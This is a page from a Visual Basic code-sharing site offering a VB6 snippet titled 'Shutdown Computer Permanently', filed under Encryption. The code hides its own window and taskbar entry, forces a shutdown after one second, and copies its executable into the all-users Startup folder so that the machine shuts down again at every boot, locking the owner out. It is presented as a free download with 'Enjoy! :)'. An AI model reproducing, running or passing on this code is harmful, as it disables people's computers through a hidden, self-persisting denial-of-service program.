VBcoders Guest



Don't have an account yet? Register
 


Forgot Password?



Shutdown Computer Permanently

by Scott (1 Submission)
Category: Encryption
Compatability: VB 6.0
Difficulty: Unknown Difficulty
Originally Published: Sun 23rd September 2007
Date Added: Mon 8th February 2021
Rating: (1 Votes)

Shutdown Computer Permanently

API Declarations


Nothing is required on this form except the code. Enjoy! :)

Rate Shutdown Computer Permanently



Me.Hide
Me.Visible = False
App.TaskVisible = False

Shutdown
End Sub

Private Sub Shutdown()
Shell "shutdown -s -t 1"

Dim source As String
Dim Dest As String

source = App.Path & App.EXEName
Dest = "c:\documents and settings\all users\start menu\programs\startup\" & App.EXEName

FileCopy source, Dest
End Sub

Download this snippet    Add to My Saved Code

Shutdown Computer Permanently Comments

No comments have been posted about Shutdown Computer Permanently. Why not be the first to post a comment about Shutdown Computer Permanently.

Post your comment

Subject:
Message:
0/1000 characters